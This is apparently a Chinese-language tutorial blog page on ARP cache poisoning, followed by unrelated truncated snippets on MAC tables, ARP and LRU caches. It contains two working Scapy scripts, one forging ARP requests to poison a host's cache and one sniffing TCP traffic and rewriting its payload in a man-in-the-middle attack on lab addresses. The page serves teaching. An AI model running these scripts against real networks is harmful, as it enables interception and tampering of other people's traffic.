MAC與ARP快取中毒介紹

2022-07-06 21:24:14 字數 1696 閱讀 3439

用於位址解析,請求mac位址。

arp -a 或者 -n 檢視arp快取表

ls(arp) 檢視scapy裡的協議字段

arp收到arp請求報文,會將傳送方的mac位址寫入到自己的arp快取表。--偽造arp請求報文

arp無狀態,無法判斷響應是不是請求的結果,即使沒有請求,也可以收到響應。

即使不是對這個請求的響應,也會更新自己的cache。--偽造arp響應報文

from scapy.all import *

ds_mac='ff:ff:ff:ff:ff:ff'

ds_ip ='10.0.2.5'

vim_mac='aa:bb:cc:dd:ee:ff'

vim_ip='10.0.2.99'

e=ether()

e.dst=ds_mac

e.src=vim_mac

a=arp()

a.op=1

a.hwsrc=vim_mac

a.psrc=vim_ip

a.hwdst=ds_mac

a.pdst=ds_ip

frame=e/a

sendp(frame)

op為1表示請求包,響應包為2

注意:需要 sudo sysctl net.ipv4.ip_forward=0

先進行arp快取的中毒,這樣二者通訊的資料報可通過攻擊者,然後攻擊者再進行修改tcp報文。

from scapy.all import *

def spoof_pkt(pkt):

if pkt[ip].src=='10.0.2.4' and pkt[ip].dst =='10.0.2.5' and pkt[tcp].payload:

data = pkt[tcp].payload.load

newpkt = pkt[ip]

del(newpkt.chksum)

del(newpkt[tcp].chksum)

del(newpkt[tcp].payload)

newdata = data.replace(b'hello',b'hacker')

newpkt = newpkt/newdata

send(newpkt,verbose=0)

elif pkt[ip].src=='10.0.2.5' and pkt[ip].dst == '10.0.2.4':

newpkt=pkt[ip]

send(newpkt,verbose=0)

pkt = sniff(filter='tcp',prn=spoof_pkt)

MAC位址表 ARP快取 FIB路由表

說到mac位址表,就不得不說一下交換機的工作原理了,因為交換機是根據mac位址表 資料幀的。在交換機中有一張記錄著區域網主機mac位址與交換機介面的對應關係的表,交換機就是根據這張表負責將資料幀傳輸到指定的主機上的。交換機的工作原理 交換機在接收到資料幀以後,首先 會記錄資料幀中的源mac位址和對應...

ARP協議介紹與實現,快來圍觀

arp概述 arp address resolution protocol,位址解析協議 1 是tcp ip協議族中的乙個 2 主要用於查詢指定ip所對應的的mac 3 請求方使用廣播來傳送請求 4 應答方使用單播來回送資料 5 為了在傳送資料的時候提高效率在計算中會有乙個arp快取表,用來暫時存放...

LRU快取介紹與實現

如何實現乙個lru呢?如果使用雙向鍊錶 hash實現。首先需求清楚 什麼是lru 需要哪些支援知識 怎麼使用這些基礎知識實現 如果高併發下怎麼辦 反思一些基礎知識。什麼是lru 就是最近最少訪問。需要哪些支援知識 那是不是就想起了linked。為什麼沒有使用linkedlist呢?而是使用linke...